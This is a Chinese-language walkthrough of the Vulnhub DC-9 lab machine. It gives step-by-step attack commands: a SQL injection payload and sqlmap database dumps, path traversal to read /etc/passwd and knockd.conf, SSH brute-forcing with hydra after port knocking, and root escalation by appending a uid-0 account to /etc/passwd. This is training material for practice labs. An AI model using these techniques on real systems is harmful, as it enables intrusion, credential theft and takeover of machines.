Vulnhub靶场DC-9练习
目录
- 0x00 准备
- 0x01 主机信息收集
- 0x02 站点信息收集
- 0x03 漏洞查找与利用
- 1. 发现SQL注入点
- 2. Sqlmap跑数据
- 3. 文件包含
- 4. SSH爆破+端口敲门服务
- 5. 提权(写入/etc/passwd)
- 0x04 总结
0x00 准备
下载链接:https://download.vulnhub.com/dc/DC-9.zip
介绍:The ultimate goal of this challenge is to get root and to read the one and only flag。只有一个flag。
0x01 主机信息收集
kali查询本机ip,执行命令:ifconfig
kali本机ip:192.168.22.48
探测目标主机ip,执行命令:netdiscover -i eth0 -r 192.168.22.0/24
目标主机ip:192.168.22.14
探测目标主机开放端口,执行命令:nmap -sV -p 1-65535 -A 192.168.22.14
开放了22端口(filtered ssh表示被过滤了),ssh服务;80端口,http服务,Apache2.4.38。

0x02 站点信息收集
访问站点:http://192.168.22.14
探测站点的目录结构,执行命令:dirsearch -u 192.168.22.14

0x03 漏洞查找与利用
1. 发现SQL注入点
在search.php页面,可以提交数据进行查询,并返回查询的结果。

在manage.php页面可以提交用户名和密码进行登录。

综合上面两点,考虑在search页面试一下有没有SQL注入。
在search页面,http://192.168.22.14/search.php 提交查询的内容后,查询的结果显示在 http://192.168.22.14/results.php ,考虑是post方式,查询的数据在请求体中。抓包确认一下。

这里查询可以输入用户名之类的,所以考虑是字符型注入,重点是单引号闭合和注释多余的代码。构造语句:1‘ or 1=1 # ,预期的结果是查询出所有内容。在Display All Records页面,可以看到有17条记录,是所有的内容。
在search页面提交构造的语句:1‘ or 1=1 #
返回的结果是17条记录,说明查询成功。说明这里存在SQL注入。
2. Sqlmap跑数据
这里是POST方式,所以需要使用 -data 来指定参数。
确定是否存在注入,执行语句:sqlmap -u http://192.168.22.14/results.php --data “search=1”
确定是有注入的,并且数据是Mysql。

获取数据库名:sqlmap -u http://192.168.22.14/results.php --data “search=1” --dbs
有三个数据库:Staff,users,information_schema

确定当前链接的数据库名:sqlmap -u http://192.168.22.14/results.php --data “search=1” --current-db
当前的数据库是Staff。

获取Staff数据库的所有表名:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff --tables
有两个表:StaffDetails,Users

获取Staff数据库,Users表的所有字段名:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff -T Users --columns
有三个字段:Password,UserID,Username

这三个字段看起来都有点用,直接获取这个表的全部内容:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff -T Users --dump

admin用户的密码:856f5de590ef37314e7c3bdf6f8a66dc
是一个32位的数字和字母混合起来的密码,考虑MD5加密。
丢到网站里解密:https://www.somd5.com/
解密结果:transorbital1
3. 文件包含
回到站点的Manage页面,用上面的用户名和密码登录。

其他的页面跟登录前没什么区别,多了Add Record,是一个插入数据的地方。
但是在welcome.php页面这里有个文件不存在的提示。考虑文件包含。
构造:http://192.168.22.14/manage.php?file=/etc/passwd ,页面没有变化。
在路径前面加 ../ ,直到可以回显。
构造:http://192.168.22.14/manage.php?file=../../../../etc/passwd
可以看到passwd文件的内容。

可以看到很多的用户名。想到之前获取数据库表的时候,还有个users数据库。
获取这个数据库的表:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D users —tables
有个UserDetails表。

获取这个表的全部内容:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D users -T UserDetails --dump

这个表里的username用户名在/etc/passwd里面都出现过。
把username和password分别保存到文件user.txt和passwd.txt中,保存的时候去掉每一行后面的空格还有最后的空白行。
4. SSH爆破+端口敲门服务
利用hydra进行ssh爆破,执行命令:hydra -L user.txt -P password.txt 192.168.22.14 ssh
提示目标主机的22端口连不上。

前面进行端口探测的时候,22端口是过滤的。
考虑端口敲门服务,即knockd服务。简单来说,就是Linux系统其实开启了某个服务端口,但是knockd服务通过动态的添加iptables规则来隐藏系统开启的服务。需要使用自定义的一系列序列号来“敲门”,使被隐藏的服务可以对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
Linux 的 Port Knocking 端口碰撞(端口敲门)
kncoked服务的配置文件是 /etc/knockd.conf ,在这个文件中指明了需要的序列号sequence。
前面文件包含的地方可以查看系统文件,访问:[http://192.168.22.14/manage.php?file=../../../../etc/](http://192.168.22.14/manage.php?file=../../../../etc/passwd)knockd.conf
可以看到用来openssh的序列号是:7469,8475,9842

执行敲门命令开启22端口:knock 192.168.22.14 7469 8475 9842
执行完以后再看一下目标主机的开放端口,22开启了。(可以和最开始nmap的结果进行对比)

再来用hydra爆破ssh:hydra -L user.txt -P password.txt 192.168.22.14 ssh
可以看到有三个用户。

分别ssh登录上这三个用户:ssh username@192.168.22.14
在家目录下分别执行:ls -a (列出目录下的所有文件,包括以 . 开头的隐含文件)
在janitor用户下发现多了一个 .secrets-for-putin 。
查看一下内容,发现了几个密码。

将这几个密码放到前面保存的密码文件password.txt中,重新用hydra进行ssh爆破:hydra -L user.txt -P password.txt ssh://192.168.22.14
可以看到多了一个用户被破解出来。

再登录一下这个新用户:ssh fredf@192.168.22.14
5. 提权(写入/etc/passwd)
查看可以进行提权的利用点:sudo -l
这里有个test文件可以以root身份执行。

进入这个目录:cd /opt/devstuff/dist/test
执行test文件:./test

这个文件的使用和test.py有关。查找一下这个文件在哪:find / -name test.py 2>/dev/null

查看这个脚本的内容:cat /opt/devstuff/test.py
#!/usr/bin/pythonimport sysif len (sys.argv) != 3 :print ("Usage: python test.py read append")sys.exit (1)else :f = open(sys.argv[1], "r")output = (f.read())f = open(sys.argv[2], "a")f.write(output)f.close()
这个脚本的作用就是将第一个参数的内容读取出来,添加到第二个参数中。这两个参数是文件的路径名字。
可以考虑给/etc/passwd写入一个具有root权限的用户,用户名为admin,密码为123456。
所以构造一条/etc/passwd的内容保存在一个文件中,利用test命令写入到/etc/passwd文件中。
/etc/passwd的文件结构:
用户名:密码hash值:uid:gid:描述性信息:home目录:默认shell 其中,uid=gid=0为超级用户,默认shell一般为/bin/bash。
(一开始构造了一个不需要密码的超级用户:hack::0:0::/root:/bin/bash ,结果切换用户登录的时候提示输入密码,所以重新构造一个需要密码的超级用户。用户名为dcdc,密码为123456。)
先用openssl生成admin用户的加密密码:openssl passwd -1 -salt dcdc 123456
得到加密的密码:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1

构造要插入的内容:dcdc:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1:0:0::/root:/bin/bash
Linux中/tmp目录是任何用户都可以写的。
将构造的数据写入/tmp/admin中:echo 'dcdc:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1:0:0::/root:/bin/bash' > /tmp/dcdc
再将构造的用户利用test写入passwd文件中:sudo /opt/devstuff/dist/test/test /tmp/dcdc /etc/passwd
看一下/etc/passwd文件的内容,可以看到写入成功。

切换到用户dcdc,进入/root目录,成功。

0x04 总结
主机信息收集:
- netdiscover探测目标主机ip。
- nmap探测开放端口和服务。(22端口被过滤)
站点信息收集:
- dirsearch扫描站点的目录结构。
- 寻找sql注入点,确定注入类型。
漏洞利用:
- sqlmap跑数据库,获取登录的用户名和密码。
- 发现文件包含。
- hydra爆破ssh。
- knock服务开启22端口。
- 提权,将新用户写入/etc/passwd。
相关文章:
Vulnhub靶场DC-9练习
目录 0x00 准备0x01 主机信息收集0x02 站点信息收集0x03 漏洞查找与利用1. 发现SQL注入点2. Sqlmap跑数据3. 文件包含4. SSH爆破端口敲门服务5. 提权(写入/etc/passwd) 0x04 总结 0x00 准备 下载链接:https://download.vulnhub.com/dc/DC-9.z…...
Java对象内存布局和对象头
文章目录 面试题Object object new Object() 谈谈你对这句话的理解? 对象在堆内存中存储布局权威定义(周志明老师JVM第三版)对象在堆内存中的存储布局详解对象头的MarkWord源码对象标记源码 对象内存布局(使用JOL证明)…...
python:基于YOLO框架和遥感图像的目标检测
作者:CSDN _养乐多_ 本文将介绍如何通过YOLO框架和遥感图像进行目标检测的代码。 文章目录 一、数据集下载与格式转换1.1 NWPU VHR-10(73.1 MB)1.2 DIOR(7.06 GB)1.3 配置data.yaml 二、训练三、训练结果 一、数据集…...
DAMA学习笔记(十一)-元数据管理
1.引言 元数据最常见的定义是“关于数据的数据”。它描述了数据本身(如数据库、数据元素、数据模型),数据表示的概念(如业务流程、应用系统、软件代码、技术基础设施),数据与概念之间的联系(关系…...
密码学基本理论
密码学是研究信息安全保护的科学,实现信息的保密性、完整性、可用性以及抗抵赖性 根据密码分析者在破译时已经具备的前提条件,密码分析攻击类型分类: 唯密文攻击:已知密文;未知明文+秘钥已知明文攻击:已知部分明文和密文对;未知秘钥+算法选择明文攻击:已知明文+算法--…...
【深度学习】【语音TTS】vits 论文,Variational Inference Text-to-Speech(1)
代码:https://github.com/jaywalnut310/vits 论文:https://arxiv.org/abs/2106.06103 文章目录 摘要1. 引言2. 方法2.1. 变分推理2.1.1. 概述2.1.2. 重构损失2.1.3. KL散度2.2. 对齐估计2.2.1. 单调对齐搜索2.2.2. 从文本预测时长2.3. 对抗训练2.4. 最终损失2.5. 模型架构2.5…...
javascript中 window 相关知识点以及代码演示
一.了解window 在JavaScript中,window对象是浏览器的全局对象,它不仅代表了浏览器窗口,同时也充当了ECMAScript中的Global对象的角色。因此,深入了解和掌握window对象的属性和方法对于JavaScript开发者来说至关重要。 以下内容将…...
企业社会责任(CSR)国际标准有哪些?
以下是一些常见的企业社会责任(CSR)国际标准和相关体系等: 原则性、指南性标准 ISO 26000《社会责任指南》 :将社会责任归纳为7个核心方面,即公司治理、人权、劳工、环境、公平运营实践、消费者问题以及对社会发展作贡…...
The C programming language (second edition,KR) exercise(CHAPTER 7)
E x c e r c i s e 7 − 1 Excercise\quad 7-1 Excercise7−1: #include <stdio.h> #include <string.h> #include <ctype.h>enum type {LOWER, UPPER };int main(int argc, char *argv[]) {int c, mode = -1;if (stricmp(*argv, "lower.exe") =…...
面向服务架构(SOA)介绍
在汽车电子电气架构还处于分布式时代时,汽车软件的开发方式主要是采用嵌入式软件进行开发,而随着汽车智能化程度的加深,更加复杂且多样的功能需求让汽车软件在复杂度上再上一层。在整车的自动驾驶方面,由于未来高阶自动驾驶能力的…...
关于使用Next遇到的一些新特性
用next之后发现,这是作为全栈比较好用的框架 API 1、app Router 这是目前next官方以及未来推荐的新技术方向 若使用api路由用来管理后端api接口 (1)此时在app文件夹下创建 api名称目录(如 getApiKey) (…...
Python 爬虫入门(七):requests 库的使用「详细介绍」
Python 爬虫入门(七):requests 库的使用「详细介绍」 前言1. 初识 requests1.1 安装 requests 库1.2 发送 GET 请求1.3 发送 POST 请求 2. HTTP 请求详解2.1 请求方法2.2 请求头2.3 请求参数 3. 处理响应3.1 响应内容3.2 响应状态码3.3 响应头…...
两端约束的最优控制问题及其数值解法
问题的基本形式 设 n n n维系统状态房产 x ˙ ( t ) f [ x ( t ) , u ( t ) , t ] \dot{x}(t)f[x(t),u(t),t] x˙(t)f[x(t),u(t),t],控制向量 u ( t ) ∈ Ω u(t)\in\Omega u(t)∈Ω是分段连续函数, Ω ∈ R m \Omega\in R^m Ω∈Rm是有界闭集…...
电磁仿真--基本操作-CST-(6)-导线周围磁场
目录 1. 简介 2. 过程 2.1 新建工程 2.2 选择求解器 2.3 设置单位 2.4 设置频率 2.5 绘制导线 2.6 Background 2.7 边界条件 2.8 设置激励源 2.9 查看结果 3. 其他设置 3.1 网格类型 3.2 集总网络元件 3.3 阻抗和导纳矩阵 3.4 自适应网格细化 3.4 提升计算效率…...
用Java手写jvm之模拟方法调用指令invokexxx和方法返回指令xreturn
写在前面 源码 。 本文一起看下方法调用相关的指令invokexxx以及方法返回(栈帧弹出线程栈)相关的指令xReturn 。 1:正文 因为invokexxx指令和普通的指令不同,会创建一个新的栈帧,并压倒操作数栈中,所以我…...
自定义枚举类型检查
/*** 工单状态,使用字典:order_item_state*/ CheckEnum(nullAble true, enumType OrderItemStateEnum.class) private String workState; 注解类 package com.gdyunst.core.tool.validation;import javax.validation.Constraint; import javax.valid…...
探索四川财谷通抖音小店:安全与信赖的购物新体验
在数字经济蓬勃发展的今天,抖音平台凭借其庞大的用户基础和强大的内容生态,逐渐成为了电商领域的一股不可忽视的力量。其中,四川财谷通抖音小店作为这一浪潮中的佼佼者,不仅以其丰富的商品种类和独特的品牌魅力吸引了众多消费者的…...
systemd-manage系统服务图形化管理工具使用教程
1. systemd-manage介绍 systemd-manage是一个开源的基于systemd服务管理的图形化工具,使用qt图形库进行开发,可以提供服务管理,用户会话,配置文件修改,日志查询,性能分析,进程管理等功能。图形…...
移除元素(LeetCode)
题目 给你一个数组 和一个值 ,你需要 原地 移除所有数值等于 的元素,并返回移除后数组的新长度。 不要使用额外的数组空间,你必须仅使用 额外空间并 原地 修改输入数组。 元素的顺序可以改变。你不需要考虑数组中超出新长度后面的元素。 解…...
代码随想录27期|Python|Day38|509斐波那契|738.爬楼梯|746.746. 使用最小花费爬楼梯
贴一下动态规划的步骤(5步),就像是之前递归一样,需要每次落实到位。 确定dp数组(dp table)以及下标的含义确定递推公式dp数组如何初始化确定遍历顺序举例推导dp数组 509. 斐波那契 注意到n的范…...
rknn优化教程(二)
文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK,开始写第二篇的内容了。这篇博客主要能写一下: 如何给一些三方库按照xmake方式进行封装,供调用如何按…...
Docker 运行 Kafka 带 SASL 认证教程
Docker 运行 Kafka 带 SASL 认证教程 Docker 运行 Kafka 带 SASL 认证教程一、说明二、环境准备三、编写 Docker Compose 和 jaas文件docker-compose.yml代码说明:server_jaas.conf 四、启动服务五、验证服务六、连接kafka服务七、总结 Docker 运行 Kafka 带 SASL 认…...
[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?
论文网址:pdf 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误,若有发现欢迎评论指正!文章偏向于笔记,谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...
【Go】3、Go语言进阶与依赖管理
前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课,做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程,它的核心机制是 Goroutine 协程、Channel 通道,并基于CSP(Communicating Sequential Processes࿰…...
Robots.txt 文件
什么是robots.txt? robots.txt 是一个位于网站根目录下的文本文件(如:https://example.com/robots.txt),它用于指导网络爬虫(如搜索引擎的蜘蛛程序)如何抓取该网站的内容。这个文件遵循 Robots…...
三体问题详解
从物理学角度,三体问题之所以不稳定,是因为三个天体在万有引力作用下相互作用,形成一个非线性耦合系统。我们可以从牛顿经典力学出发,列出具体的运动方程,并说明为何这个系统本质上是混沌的,无法得到一般解…...
tree 树组件大数据卡顿问题优化
问题背景 项目中有用到树组件用来做文件目录,但是由于这个树组件的节点越来越多,导致页面在滚动这个树组件的时候浏览器就很容易卡死。这种问题基本上都是因为dom节点太多,导致的浏览器卡顿,这里很明显就需要用到虚拟列表的技术&…...
JDK 17 序列化是怎么回事
如何序列化?其实很简单,就是根据每个类型,用工厂类调用。逐个完成。 没什么漂亮的代码,只有有效、稳定的代码。 代码中调用toJson toJson 代码 mapper.writeValueAsString ObjectMapper DefaultSerializerProvider 一堆实…...
PH热榜 | 2025-06-08
1. Thiings 标语:一套超过1900个免费AI生成的3D图标集合 介绍:Thiings是一个不断扩展的免费AI生成3D图标库,目前已有超过1900个图标。你可以按照主题浏览,生成自己的图标,或者下载整个图标集。所有图标都可以在个人或…...
虚幻基础:角色旋转
能帮到你的话,就给个赞吧 😘 文章目录 移动组件使用控制器所需旋转:组件 使用 控制器旋转将旋转朝向运动:组件 使用 移动方向旋转 控制器旋转和移动旋转 缺点移动旋转:必须移动才能旋转,不移动不旋转控制器…...
